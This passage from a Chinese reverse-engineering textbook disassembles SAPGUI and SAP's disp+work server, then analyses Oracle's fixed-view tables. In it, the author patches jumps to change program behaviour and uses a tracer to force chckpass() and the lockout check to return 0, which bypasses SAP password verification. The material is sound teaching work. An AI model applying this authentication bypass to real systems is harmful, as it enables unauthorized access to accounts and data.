.text:6440512E push eax ; X .text:6440512F push 0 ; hWndInsertAfter .text:64405131 push dword ptr [esi+285Ch] ; hWnd .text:64405137 call ds:SetWindowPos .text:6440513D xor ebx, ebx .text:6440513F inc ebx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 789 .text:64405140 jmp short loc_6440514D .text:64405142 .text:64405142 loc_64405142: .text:64405142 push offset byte_64443AF8 ; demangled name: ATL::CStringT::operator=(char const *) .text:64405147 call ds:mfc90_820 .text:6440514D .text:6440514D loc_6440514D: .text:6440514D cmp dword_6450B970, ebx .text:64405153 jl short loc_64405188 .text:64405155 call sub_6441C910 .text:6440515A mov dword_644F858C, ebx .text:64405160 push dword ptr [esi+2854h] .text:64405166 push offset aCdwsguiPrepare ; "\nCDwsGui::PrepareInfoWindow: sapgui env"... .text:6440516B push dword ptr [esi+2848h] .text:64405171 call dbg .text:64405176 add esp, 0Ch .text:64405179 mov dword_644F858C, 2 .text:64405183 call sub_6441C920 .text:64405188 .text:64405188 loc_64405188: .text:64405188 or [ebp+var_4], 0FFFFFFFFh .text:6440518C lea ecx, [ebp+var_14] ; demangled name: ATL::CStringT::~CStringT() .text:6440518F call ds:mfc90_601 .text:64405195 call __EH_epilog3 .text:6440519A retn .text:6440519A CDwsGui__PrepareInfoWindow endp 在执行上述函数的最初几个指令时,数据对象(thiscall)的指针存储于ECX寄存器。 ①本例中,对象明 显使用了CDwsGui类。它所记录的选项开关,直接决定着函数窗口的提示信息。 如果地址 this+0x3D 的值不是 0,那么整个程序就会关闭网络数据的压缩功能: .text:64405007 loc_64405007: .text:64405007 cmp byte ptr [esi+3Dh], 0 .text:6440500B jz short bypass .text:6440500D push offset aDataCompressio ; "data compression switched off\n" .text:64405012 mov ecx, edi ; demangled name: ATL::CStringT::operator+=(char const *) .text:64405014 call ds:mfc90_945 .text:6440501A mov [ebp+var_10], ebx .text:6440501D .text:6440501D bypass: 更有意思的是,决定程序是否显示提示窗口的关键因素是变量 var_10: .text:6440503C cmp [ebp+var_10], ebx .text:6440503F jnz exit ; bypass drawing ; add strings "For maximum data security delete" / "the setting(s) as soon as possible !": .text:64405045 push offset aForMaximumData ; "\nFor maximum data security delete\nthe s"... .text:6440504A call ds:mfc90_945 ; ATL::CStringT::operator+=(char const *) .text:64405050 xor edi, edi .text:64405052 push edi ; fWinIni .text:64405053 lea eax, [ebp+pvParam] .text:64405056 push eax ; pvParam ① 这属于 thiscall 类型的函数。有关 thiscall 类型的函数,可参见本书 51.1.1 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 790 逆向工程权威指南(下册) .text:64405057 push edi ; uiParam .text:64405058 push 30h ; uiAction .text:6440505A call ds:SystemParametersInfoA .text:64405060 mov eax, [ebp+var_34] .text:64405063 cmp eax, 1600 .text:64405068 jle short loc_64405072 .text:6440506A cdq .text:6440506B sub eax, edx .text:6440506D sar eax, 1 .text:6440506F mov [ebp+var_34], eax .text:64405072 .text:64405072 loc_64405072: start drawing: .text:64405072 push edi ; hWnd .text:64405073 mov [ebp+cy], 0A0h .text:6440507A call ds:GetDC 那么,我们通过实践来验证刚才这些推测吧。 首先找到这个 JNZ 指令: .text:6440503F jnz exit ; bypass drawing 把它改为 JMP 之后,SAPGUI 程序就再也不会显示恼人的提示窗口了! 下一步,我们找到 load_command_line()函数(函数名称是笔者命名的名字)里偏移量为 0x15 的数据, 以及 CDwsGui::PrepareInfoWindow 里的变量 this+0x3D。这两个值是相等的值么? 为了验证这一猜测,笔者在程序里搜索与偏移量 0x15 有关的全部指令。在 SAPGUI 这样的小型程序 里,某个规定变量一般只会被同一个文件调用;换而言之,我们不必检索其他文件。 在当前文件里,第一处赋值的指令如下: .text:64404C19 sub_64404C19 proc near .text:64404C19 .text:64404C19 arg_0 = dword ptr 4 .text:64404C19 .text:64404C19 push ebx .text:64404C1A push ebp .text:64404C1B push esi .text:64404C1C push edi .text:64404C1D mov edi, [esp+10h+arg_0] .text:64404C21 mov eax, [edi] .text:64404C23 mov esi, ecx ; ESI/ECX are pointers to some unknown object. .text:64404C25 mov [esi], eax .text:64404C27 mov eax, [edi+4] .text:64404C2A mov [esi+4], eax .text:64404C2D mov eax, [edi+8] .text:64404C30 mov [esi+8], eax .text:64404C33 lea eax, [edi+0Ch] .text:64404C36 push eax .text:64404C37 lea ecx, [esi+0Ch] ; demangled name: ATL::CStringT::operator=(class ATL::CStringT ... &) .text:64404C3A call ds:mfc90_817 .text:64404C40 mov eax, [edi+10h] .text:64404C43 mov [esi+10h], eax .text:64404C46 mov al, [edi+14h] .text:64404C49 mov [esi+14h], al .text:64404C4C mov al, [edi+15h] ; copy byte from 0x15 offset .text:64404C4F mov [esi+15h], al ; to 0x15 offset in CDwsGui object 上述函数的调用方函数是 CDwsGui::CopyOptions。这些名字都是参照调试信息命名的。 但是在整理程序流程之后,我们会发现在“时间上”第一次调用上述函数的调用方函数是 CDWsGui::Init(): 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 791 .text:6440B0BF loc_6440B0BF: .text:6440B0BF mov eax, [ebp+arg_0] .text:6440B0C2 push [ebp+arg_4] .text:6440B0C5 mov [esi+2844h], eax .text:6440B0CB lea eax, [esi+28h] ; ESI is pointer to CDwsGui object .text:6440B0CE push eax .text:6440B0CF call CDwsGui__CopyOptions 综合上述分析可知:由 load_command_line()函数填充的数组,是 CDwsGui class(类)的一部分。这 个数组的地址是 this+0x28。0x15+0x28=0x3D。这应该就是数据被传递的终点站。 接下来,我们在程序里查找“使用偏移量 0x3D 的指令”。我们发现 CDwsGui::SapguiRun 函数(根据 调试信息进行命名)就使用了这个偏移量: .text:64409D58 cmp [esi+3Dh], bl ; ESI is pointer to CDwsGui object .text:64409D5B lea ecx, [esi+2B8h] .text:64409D61 setz al .text:64409D64 push eax ; arg_10 of CConnectionContext:: CreateNetwork .text:64409D65 push dword ptr [esi+64h] ; demangled name: const char* ATL::CSimpleStringT::operator PCXSTR .text:64409D68 call ds:mfc90_910 .text:64409D68 ; no arguments .text:64409D6E push eax .text:64409D6F lea ecx, [esi+2BCh] ; demangled name: const char* ATL::CSimpleStringT::operator PCXSTR .text:64409D75 call ds:mfc90_910 .text:64409D75 ; no arguments .text:64409D7B push eax .text:64409D7C push esi .text:64409D7D lea ecx, [esi+8] .text:64409D80 call CConnectionContext__CreateNetwork 而后,验证我们的推测:把“setz al”换为“xor eax, eax / nop”指令,清除环境变量 TDW_NOCOMPRESS, 然后再次运行 SAPGUI。此后,令人不快的提示窗口果然不见了,而且 Wireshark 显示网络包不再压缩了! 显然,这种修改可以对 CConnectionContext 对象的压缩标识进行直接操作。 可见,压缩标识传递到了 CConnectionContext::CreateNetwork 的第五个参数。不过这个构造函数还调 用了其他函数: ... .text:64403476 push [ebp+compression] .text:64403479 push [ebp+arg_C] .text:6440347C push [ebp+arg_8] .text:6440347F push [ebp+arg_4] .text:64403482 push [ebp+arg_0] .text:64403485 call CNetwork__CNetwork 压缩标识接着被传递到构造函数 CNetwork::CNetwork 的第五个参数。根据这个参数,构造函数 CNetwork 在对象体 CNetwork 设置标识、并设置另一个与压缩传输可能有关的变量。这个构造函数的有关 操作如下: .text:64411DF1 cmp [ebp+compression], esi .text:64411DF7 jz short set_EAX_to_0 .text:64411DF9 mov al, [ebx+78h] ; another value may affect compression? .text:64411DFC cmp al, '3' .text:64411DFE jz short set_EAX_to_1 .text:64411E00 cmp al, '4' .text:64411E02 jnz short set_EAX_to_0 .text:64411E04 .text:64411E04 set_EAX_to_1: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 792 逆向工程权威指南(下册) .text:64411E04 xor eax, eax .text:64411E06 inc eax ; EAX -> 1 .text:64411E07 jmp short loc_64411E0B .text:64411E09 .text:64411E09 set_EAX_to_0: .text:64411E09 .text:64411E09 xor eax, eax ; EAX -> 0 .text:64411E0B .text:64411E0B loc_64411E0B: .text:64411E0B mov [ebx+3A4h], eax ; EBX is pointer to CNetwork object 综上,我们可以确定 CNetwork class 存储压缩标识的相对地址是 this+0x3A4。 然后我们以 0x3A4 为着手点,继续分析 SAPguilib.dll。这个偏移量再次出现在 CDwsGui::OnClientMessageWrite 里。当然,笔者还是通过调试信息才能确定构造函数的准确名称: .text:64406F76 loc_64406F76: .text:64406F76 mov ecx, [ebp+7728h+var_7794] .text:64406F79 cmp dword ptr [ecx+3A4h], 1 .text:64406F80 jnz compression_flag_is_zero .text:64406F86 mov byte ptr [ebx+7], 1 .text:64406F8A mov eax, [esi+18h] .text:64406F8D mov ecx, eax .text:64406F8F test eax, eax .text:64406F91 ja short loc_64406FFF .text:64406F93 mov ecx, [esi+14h] .text:64406F96 mov eax, [esi+20h] .text:64406F99 .text:64406F99 loc_64406F99: .text:64406F99 push dword ptr [edi+2868h] ; int .text:64406F9F lea edx, [ebp+7728h+var_77A4] .text:64406FA2 push edx ; int .text:64406FA3 push 30000 ; int .text:64406FA8 lea edx, [ebp+7728h+Dst] .text:64406FAB push edx ; Dst .text:64406FAC push ecx ; int .text:64406FAD push eax ; Src .text:64406FAE push dword ptr [edi+28C0h] ; int .text:64406FB4 call sub_644055C5 ; actual compression routine .text:64406FB9 add esp, 1Ch .text:64406FBC cmp eax, 0FFFFFFF6h .text:64406FBF jz short loc_64407004 .text:64406FC1 cmp eax, 1 .text:64406FC4 jz loc_6440708C .text:64406FCA cmp eax, 2 .text:64406FCD jz short loc_64407004 .text:64406FCF push eax .text:64406FD0 push offset aCompressionErr ; "compression error [rc = \%d]- program wi" ... .text:64406FD5 push offset aGui_err_compre ; "GUI_ERR_COMPRESS" .text:64406FDA push dword ptr [edi+28D0h] .text:64406FE0 call SapPcTxtRead 由此可见,压缩网络数据的关键函数是 sub_644055C5。这个函数分别调用了 memcpy()函数,以及函 数 sub_64417440(IDA 显示的函数名)。而 sub_64417440 的指令是: .text:6441747C push offset aErrorCsrcompre ; "\nERROR: CsRCompress: invalid handle" .text:64417481 call eax ; dword_644F94C8 .text:64417483 add esp, 4 到此为止,我们完整地分析了压缩网络数据包的函数。参照笔者先前的分析 ① ① http://conus.info/utils/SAP_pkt_decompr.txt。 可知,这个网络包压缩 函数是SAP和开源项目MaxDB的公用函数(上述两个产品都是SAP开发的)。因此,实际上我们可以找到它 的源代码。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 793 最后要分析的是: .text:64406F79 cmp dword ptr [ecx+3A4h], 1 .text:64406F80 jnz compression_flag_is_zero 把此处的 JNZ 替换为无条件转移指令 JMP,删除环境变量 TDW_NOCOMPRESS。瞧!再用 WireShark 分析网络数据包时,我们就会发现 SAPGUI 不再压缩网络数据了。 综上,在找到环境变量与数据压缩功能的切合点之后,我们可以强行启用这个功能,也可以强制程序 关闭这项功能。 80.2 SAP 6.0 的密码验证函数 某天,在 VMware 平台上打开 SAP 6.0 IDES 时,笔者发现自己忘记 SAP 账户名了。几经周折找到了 账户名之后,我尝试着用常用密码进行登录。结果可想而知,笔者最终遇到了提示信息“Password logon no longer possible-too many failed attempts”,再也无法登录。 好消息是 SAP 官方提供了完整的 disp+work.pdb 文件。这个 PDB 文件涵盖的信息还十分全面:函数名、 结构体、类型、局部变量及参数名等等,简直是应有尽有。 为了便于挖掘信息,笔者使用TYPEINFODUMP程序 ① ① http://www.debuginfo.com/tools/typeinfodump.html。 ,把PDB文件转换为了人类可读的文本文件。 转换后的文本文件含有函数名称、函数参数、局部变量等信息: FUNCTION ThVmcSysEvent Address: 10143190 Size: 675 bytes Index: 60483 TypeIndex: 60484 Type: int NEAR_C ThVmcSysEvent (unsigned int, unsigned char, unsigned short*) Flags: 0 PARAMETER events Address: Reg335+288 Size: 4 bytes Index: 60488 TypeIndex: 60489 Type: unsigned int Flags: d0 PARAMETER opcode Address: Reg335+296 Size: 1 bytes Index: 60490 TypeIndex: 60491 Type: unsigned char Flags: d0 PARAMETER serverName Address: Reg335+304 Size: 8 bytes Index: 60492 TypeIndex: 60493 Type: unsigned short* Flags: d0 STATIC_LOCAL_VAR func Address: 12274af0 Size: 8 bytes Index: 60495 TypeIndex: 60496 Type: wchar_t* Flags: 80 LOCAL_VAR admhead Address: Reg335+304 Size: 8 bytes Index: 60498 TypeIndex: 60499 Type: unsigned char* Flags: 90 LOCAL_VAR record Address: Reg335+64 Size: 204 bytes Index: 60501 TypeIndex: 60502 Type: AD_RECORD Flags: 90 LOCAL_VAR adlen Address: Reg335+296 Size: 4 bytes Index: 60508 TypeIndex: 60509 Type: int Flags: 90 不仅如此,它还解释了结构体的有关信息: STRUCT DBSL_STMTID Size: 120 Variables: 4 Functions: 0 Base classes: 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 794 逆向工程权威指南(下册) MEMBER moduletype Type: DBSL_MODULETYPE Offset: 0 Index: 3 TypeIndex: 38653 MEMBER module Type: wchar_t module[40] Offset: 4 Index: 3 TypeIndex: 831 MEMBER stmtnum Type: long Offset: 84 Index: 3 TypeIndex: 440 MEMBER timestamp Type: wchar_t timestamp[15] Offset: 88 Index: 3 TypeIndex: 6612 此外,调试呼叫(debugging calls)也可提供大量信息。 不久,笔者就注意到设置日志详细程度的全局变量 ct_level。SAP 官方对这个变量有详细的解释: http://help.sap.com/saphelp_nwpi71/helpdata/en/46/962416a5a613e8e10000000a155369/content.htm。 disp+work.exe 文件保留了大量的调试信息: cmp cs:ct_level, 1 jl short loc_1400375DA call DpLock lea rcx, aDpxxtool4_c ; "dpxxtool4.c" mov edx, 4Eh ; line call CTrcSaveLocation mov r8, cs:func_48 mov rcx, cs:hdl ; hdl lea rdx, aSDpreadmemvalu ; "%s: DpReadMemValue (%d)" mov r9d, ebx call DpTrcErr call DpUnlock 如果 ctl_level 的值大于或等于程序预设的某个阈值,那么程序将会按照相应的详细程度记录 dev_wo、 dev_disp 等 dev-日志文件。 在使用 TYPEINFODUMP 程序把 PDB 文件转换为文本文件之后,我们使用 grep 指令搜索与密码有关 的函数名称: cat "disp+work.pdb.d" | grep FUNCTION | grep -i password 上述指令的返回结果是: FUNCTION rcui::AgiPassword::DiagISelection FUNCTION ssf_password_encrypt FUNCTION ssf_password_decrypt FUNCTION password_logon_disabled FUNCTION dySignSkipUserPassword FUNCTION migrate_password_history FUNCTION password_is_initial FUNCTION rcui::AgiPassword::IsVisible FUNCTION password_distance_ok FUNCTION get_password_downwards_compatibility FUNCTION dySignUnSkipUserPassword FUNCTION rcui::AgiPassword::GetTypeName FUNCTION 'rcui::AgiPassword::AgiPassword'::'1'::dtor$2 FUNCTION 'rcui::AgiPassword::AgiPassword'::'1'::dtor$0 FUNCTION 'rcui::AgiPassword::AgiPassword'::'1'::dtor$1 FUNCTION usm_set_password FUNCTION rcui::AgiPassword::TraceTo FUNCTION days_since_last_password_change FUNCTION rsecgrp_generate_random_password FUNCTION rcui::AgiPassword::`scalar deleting destructor' FUNCTION password_attempt_limit_exceeded FUNCTION handle_incorrect_password FUNCTION 'rcui::AgiPassword::`scalar deleting destructor''::'1'::dtor$1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 80 章 SAP 795 FUNCTION calculate_new_password_hash FUNCTION shift_password_to_history FUNCTION rcui::AgiPassword::GetType FUNCTION found_password_in_history FUNCTION `rcui::AgiPassword::`scalar deleting destructor''::'1'::dtor$0 FUNCTION rcui::AgiObj::IsaPassword FUNCTION password_idle_check FUNCTION SlicHwPasswordForDay FUNCTION rcui::AgiPassword::IsaPassword FUNCTION rcui::AgiPassword::AgiPassword FUNCTION delete_user_password FUNCTION usm_set_user_password FUNCTION Password_API FUNCTION get_password_change_for_SSO FUNCTION password_in_USR40 FUNCTION rsec_agrp_abap_generate_random_password 根据提示信息,接下来我们在调试信息里搜索关键词“password”和“locked”。略加分析之后,笔者 发现 password_attempt_limit_exceeded()函数会调用关键字符串“user was locked by subsequently failed password logon attempts”。 这个函数还会在日志文件里记录“password logon attempt will be rejected immediately (preventing dictionary attacks)”“failed-logon lock: expired (but not removed due to ‘read-only’ operation)”以及“failed-logon lock: expired => removed”。 进一步的研究表明,这个函数就是登录保护函数。它会被密码验证函数——chckpass()函数调用。 首先要验证上述推测是否正确。使用笔者开发的 tracer 程序进行分析: tracer64.exe -a:disp+work.exe bpf=disp+work.exe!chckpass,args:3,unicode PID=2236|TID=2248|(0) disp+work.exe!chckpass (0x202c770, L"Brewered1 ", 0x41) (called from 0x1402f1060 (disp+work.exe!usrexist+0x3c0)) PID=2236|TID=2248|(0) disp+work.exe!chckpass -> 0x35 调用逻辑是 syssigni()→DyISigni()→dychkusr()→usrexist()→chckpass()。 数字 0x35 是 chckpass()函数返回的错误信息编号: .text:00000001402ED567 loc_1402ED567: ; CODE XREF: chckpass+B4 .text:00000001402ED567 mov rcx, rbx ; usr02 .text:00000001402ED56A call password_idle_check .text:00000001402ED56F cmp eax, 33h .text:00000001402ED572 jz loc_1402EDB4E .text:00000001402ED578 cmp eax, 36h .text:00000001402ED57B jz loc_1402EDB3D .text:00000001402ED581 xor edx, edx ; usr02_readonly .text:00000001402ED583 mov rcx, rbx ; usr02 .text:00000001402ED586 call password_attempt_limit_exceeded .text:00000001402ED58B test al, al .text:00000001402ED58D jz short loc_1402ED5A0 .text:00000001402ED58F mov eax, 35h .text:00000001402ED594 add rsp, 60h .text:00000001402ED598 pop r14 .text:00000001402ED59A pop r12 .text:00000001402ED59C pop rdi .text:00000001402ED59D pop rsi .text:00000001402ED59E pop rbx .text:00000001402ED59F retn 然后进行试验: tracer64.exe -a:disp+work.exe bpf=disp+work.exe!password_attempt_limit_exceeded,args:4,unicode, rt:0 PID=2744|TID=360|(0) disp+work.exe!password_attempt_limit_exceeded (0x202c770, 0, 0x257758, 0) (called from 0x1402ed58b (disp+work.exe!chckpass+0xeb)) PID=2744|TID=360|(0) disp+work.exe!password_attempt_limit_exceeded -> 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 796 逆向工程权威指南(下册) PID=2744|TID=360|We modify return value (EAX/RAX) of this function to 0 PID=2744|TID=360|(0) disp+work.exe!password_attempt_limit_exceeded (0x202c770, 0, 0, 0) (called from 0x1402e9794 (disp+work.exe!chngpass+0xe4)) PID=2744|TID=360|(0) disp+work.exe!password_attempt_limit_exceeded -> 1 PID=2744|TID=360|We modify return value (EAX/RAX) of this function to 0 此后我们就可以进行登录了。 顺便提一下,如果忘记密码的话,可以把 chckpass()函数的返回值强制改为 0,那样它就不会进行密码 验证了: tracer64.exe -a:disp+work.exe bpf=disp+work.exe!chckpass,args:3,unicode,rt:0 PID=2744|TID=360|(0) disp+work.exe!chckpass (0x202c770, L"bogus ", 0x41) (called from 0x1402f1060 (disp+work.exe!usrexist+0x3c0)) PID=2744|TID=360|(0) disp+work.exe!chckpass -> 0x35 PID=2744|TID=360|We modify return value (EAX/RAX) of this function to 0 在分析 password_attemp_limit_exceeded()函数时,我们可以看到函数的前几行指令是: lea rcx, aLoginFailed_us ; "login/failed_user_auto_unlock" call sapgparam test rax, rax jz short loc_1402E19DE movzx eax, word ptr [rax] cmp ax, 'N' jz short loc_1402E19D4 cmp ax, 'n' jz short loc_1402E19D4 cmp ax, '0' jnz short loc_1402E19DE 很显然,sapgparam()函数的作用是获取配置参数。整个程序有 1768 处指令调用这个函数。据此推测, 只要追踪这个函数的调用关系,就可以分析特定参数对整个程序的影响。 不得不说,SAP 要比 Oracle RDBMS 亲切得多。前者提供的函数名等信息远比后者清晰。不过 disp+work 程序具有 C++程序的特征,莫非官方最近重新编写了它的源程序? 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8811 章 章 O Orraaccllee RRDDBBM MSS 81.1 V$VERSION 表 Oracle RDBMS 11.2 是个规模庞大的数据库系统。其主程序 oracle.exe 包含近 124000 个函数。相比之 下,Windows 7 x86 的内核 ntoskrnl.exe 只有近 11000 函数;Linux 3.9.8 的内核(默认编译/带有默认驱动程 序)包含的函数也不过 31000 个左右。 本章首先演示一个最简单的 Oracle 查询指令。我们可通过下述指令查询 Oracle RDBMS 数据库的版本信息: SQL> select * from V$VERSION; 上述指令的返回结果如下: BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production CORE 11.2.0.1.0 Production TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version 11.2.0.1.0 - Production 第一个问题就来了:字符串“V$VERSION”存储在 Oracle RDBMS 的什么地方? 在 Win32 版本的 oracle.exe 程序里不难发现这个字符串。但是在 Linux 平台的文件里,函数名称和全 局变量名都会走样。因此,即使在 Linux 版的 Oracle RDBMS 里找到了正确的对象(.o)文件,挖掘相应 的处理函数也会花费更多的时间。 在 Linux 版程序的文件里,包含字符串“V$VERSION”的文件是 kqf.o。这个文件在 Oracle 的库文件目录 lib/libserver11.a 之中。 kqf.o 文件在定义数据表 kqfviw 的时候,调用了字符串“V$VERSION”。 指令清单 81.1 kqf.o .rodata:0800C4A0 kqfviw dd 0Bh ; DATA XREF: kqfchk:loc_8003A6D .rodata:0800C4A0 ; kqfgbn+34 .rodata:0800C4A4 dd offset _2__STRING_10102_0 ; "GV$WAITSTAT" .rodata:0800C4A8 dd 4 .rodata:0800C4AC dd offset _2__STRING_10103_0 ; "NULL" .rodata:0800C4B0 dd 3 .rodata:0800C4B4 dd 0 .rodata:0800C4B8 dd 195h .rodata:0800C4BC dd 4 .rodata:0800C4C0 dd 0 .rodata:0800C4C4 dd 0FFFFC1CBh .rodata:0800C4C8 dd 3 .rodata:0800C4CC dd 0 .rodata:0800C4D0 dd 0Ah .rodata:0800C4D4 dd offset _2__STRING_10104_0 ; "V$WAITSTAT" .rodata:0800C4D8 dd 4 .rodata:0800C4DC dd offset _2__STRING_10103_0 ; "NULL" .rodata:0800C4E0 dd 3 .rodata:0800C4E4 dd 0 .rodata:0800C4E8 dd 4Eh .rodata:0800C4EC dd 3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 798 逆向工程权威指南(下册) .rodata:0800C4F0 dd 0 .rodata:0800C4F4 dd 0FFFFC003h .rodata:0800C4F8 dd 4 .rodata:0800C4FC dd 0 .rodata:0800C500 dd 5 .rodata:0800C504 dd offset _2__STRING_10105_0 ; "GV$BH" .rodata:0800C508 dd 4 .rodata:0800C50C dd offset _2__STRING_10103_0 ; "NULL" .rodata:0800C510 dd 3 .rodata:0800C514 dd 0 .rodata:0800C518 dd 269h .rodata:0800C51C dd 15h .rodata:0800C520 dd 0 .rodata:0800C524 dd 0FFFFC1EDh .rodata:0800C528 dd 8 .rodata:0800C52C dd 0 .rodata:0800C530 dd 4 .rodata:0800C534 dd offset _2__STRING_10106_0 ; "V$BH" .rodata:0800C538 dd 4 .rodata:0800C53C dd offset _2__STRING_10103_0 ; "NULL" .rodata:0800C540 dd 3 .rodata:0800C544 dd 0 .rodata:0800C548 dd 0F5h .rodata:0800C54C dd 14h .rodata:0800C550 dd 0 .rodata:0800C554 dd 0FFFFC1EEh .rodata:0800C558 dd 5 .rodata:0800C55C dd 0 在分析Oracle RDBMS的内部文件时,很多人都会奇怪“为什么函数名称和全局变量名称都那么诡异?”这大 概是因为Oracle是 20 世纪 80 年代的古典作品吧。那个时代C语言编译器都遵循的ANSI标准:函数名称和 变量名称不得超出 6 个字符(linker的局限),即“外部标识符以前 6 个字符为准”的规则。 ① 我们还查到了一个叫作“V$FIXED_VIEW_DEFINITION”的固定视图 名字以 V$-开头的数据视图,多数(很有可能是全部)都由这个文件的 kqfviw 表定义。这些 V$视图 都是内容固定视图(fixed Views)。从表面看来,这些数据具有显著的循环周期。因此,我们可以初步判断, kqfviw 表的每个元素都由 12 个 32 位字段构成。借助 IDA 程序,我们可以轻易地再现出这种 12 字段的数 据结构,套用到整个数据表。在 Oracle RDBMS v11.2 里,总共有 1023 个固定视图。即,这个文件可能描述 了 1023 个预定义的视图。本章稍后讨论这个数字。 关于视图中的各字段、及各字段对应的数据,并没有多少资料可寻。虽然我们发现第一个数字就是数 据库图的名称(没有最末的那个零字节)、而且这个规律适用于全部的数据元素,但是这种信息的作用不大。 ② ① 1988 年的 ANSI 标准请可参见笔者的摘录:http://yurichev.com/ref/Draft%20ANSI%20C%20Standard%20(ANSI%20X3J11-88-090)%20 (May%2013,%201988).txt。作为对比,微软的标识符标准可参阅 https://msdn.microsoft.com/en-us/library/e7f8y25b.aspx。 ② 笔者通过挖掘 kqfviw 和 kqfvip 表里的数据,最终发现了这个视图的信息。 ,它能够检索所有固定视图的 信息。顺便提一下,这个表有 1023 个元素,正好对应预定义视图的总数。 SQL> select * from V$FIXED_VIEW_DEFINITION where view_name='V$VERSION'; VIEW_NAME ------------------------------ VIEW_DEFINITION -------------------------------------------------------------------------------- V$VERSION select BANNER from GV$VERSION where inst_id = USERENV('Instance') 可见,对于 GV$VERSION 而言,V$VERSION 是 thunk view(形实转换视图): SQL> select * from V$FIXED_VIEW_DEFINITION where view_name='GV$VERSION'; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 81 章 Oracle RDBMS 799 VIEW_NAME ------------------------------ VIEW_DEFINITION -------------------------------------------------------------------------------- GV$VERSION select inst_id, banner from x$version 另外,在 Oracle 数据库里,那些官方文档没有介绍的、以 X$开头的数据表同样是记载系统信息的服 务表。因为这些以 X$开头的表由 Oracle 程序控制并动态更新的数据表,所以数据库用户不能修改它们。 如果我们在文件 kqf.o 里搜索文本“select BANNER from GV$VERSION where inst_id = USERENV('Instance')”, 那么就会发现它在 kqfvip 表里。 指令清单 81.2 kqf.o .rodata:080185A0 kqfvip dd offset _2__STRING_11126_0 ; DATA XREF: kqfgvcn+18 .rodata:080185A0 ; kqfgvt+F .rodata:080185A0 ; "select inst_id, decode(indx,1,'data bloc" ... .rodata:080185A4 dd offset kqfv459_c_0 .rodata:080185A8 dd 0 .rodata:080185AC dd 0 ... .rodata:08019570 dd offset _2__STRING_11378_0 ; "select BANNER from GV$VERSION where in "... .rodata:08019574 dd offset kqfv133_c_0 .rodata:08019578 dd 0 .rodata:0801957C dd 0 .rodata:08019580 dd offset _2__STRING_11379_0 ; "select inst_id,decode(bitand( cfflg,1),0"... .rodata:08019584 dd offset kqfv403_c_0 .rodata:08019588 dd 0 .rodata:0801958C dd 0 .rodata:08019590 dd offset _2__STRING_11380_0 ; "select STATUS , NAME, IS_RECOVERY_DEST"... .rodata:08019594 dd offset kqfv199_c_0 这个表的每个元素由 4 个字段构成。而且它同样包含了 1023 个元素。第二个字段指向了另一个表——也就 是与表名称相对应的固定视图。V$VERSION 的表格只有 2 个元素,第一个是 6(后面字符串的长度),第二 个是 BANNER 字符串。此后是终止符—零字节和 C 语言字符 null。 指令清单 81.3 kqf.o .rodata:080BBAC4 kqfv133_c_0 dd 6 ; DATA XREF: .rodata:08019574 .rodata:080BBAC8 dd offset _2__STRING_5017_0 ; "BANNER" .rodata:080BBACC dd 0 .rodata:080BBAD0 dd offset _2__STRING_0_0 因此可见,综合 kqfviw 和 kqfvip 表的各项信息,我们可以获悉某个固定视图都含有哪些可被查询的 字段。 基于上述分析结果,笔者编写了一个专门导出Linux Oracle数据库系统表的小程序—oracle_tables ① ① http://yurichev.com/oracle_tables.html。 。 用它导出V$VERSION时,可得到如下所示的各项信息。 指令清单 81.4 Result of oracle tables kqfviw_element.viewname: [V$VERSION] ?: 0x3 0x43 0x1 0xffffc085 0x4 kqfvip_element.statement: [select BANNER from GV$VERSION where inst_id = USERENV('Instance')] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 800 逆向工程权威指南(下册) kqfvip_element.params: [BANNER] 指令清单 81.5 Result of oracle tables kqfviw_element.viewname: [GV$VERSION] ?: 0x3 0x26 0x2 0xffffc192 0x1 kqfvip_element.statement: [select inst_id, banner from x$version] kqfvip_element.params: [INST_ID] [BANNER] 固定视图 GV$VERSION 比 V$VERSION 多出了一个“instance”字段,除此以外两者相同。因此,我们 只要专心研究数据表 X$VERSION 就可举一反三地理解另一个表。与其他名字以 X$-开头的数据表一样, 这个表也没有资料可查。但是,我们可以直接对其进行检索: SQL> select * from x$version; ADDR INDX INST_ID -------- ---------- ---------- BANNER -------------------------------------------------------------------------------- 0DBAF574 0 1 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production ... 这个表的字段名里有 ADDR 和 INDX。 继续使用 IDA 分析 kqf.o 的时候,我们会发现在 kqftab 表里有一个指向 X$VERSION 字符串的指针。 指令清单 81.6 kqf.o .rodata:0803CAC0 dd 9 ; element number 0x1f6 .rodata:0803CAC4 dd offset _2__STRING_13113_0 ; "X$VERSION" .rodata:0803CAC8 dd 4 .rodata:0803CACC dd offset _2__STRING_13114_0 ; "kqvt" .rodata:0803CAD0 dd 4 .rodata:0803CAD4 dd 4 .rodata:0803CAD8 dd 0 .rodata:0803CADC dd 4 .rodata:0803CAE0 dd 0Ch .rodata:0803CAE4 dd 0FFFFC075h .rodata:0803CAE8 dd 3 .rodata:0803CAEC dd 0 .rodata:0803CAF0 dd 7 .rodata:0803CAF4 dd offset _2__STRING_13115_0 ; "X$KQFSZ" .rodata:0803CAF8 dd 5 .rodata:0803CAFC dd offset _2__STRING_13116_0 ; "kqfsz" .rodata:0803CB00 dd 1 .rodata:0803CB04 dd 38h .rodata:0803CB08 dd 0 .rodata:0803CB0C dd 7 .rodata:0803CB10 dd 0 .rodata:0803CB14 dd 0FFFFC09Dh .rodata:0803CB18 dd 2 .rodata:0803CB1C dd 0 上述指令中有很多处数据都引用了以 X$-开头的数据表名称。很显然,这些名字都是 Oracle 数据库的 数据表名称。鉴于公开资料没有这些信息,笔者还不能理解字符串“kqvt”的实际含义。“kq-”前缀的指 令,多数是与 Kernel(内核)和 query(查询)有关的指令。不过,至于“v 是否是 version 的缩写”、“t 是 否是 type 的缩写”,这些猜测都无法证明。 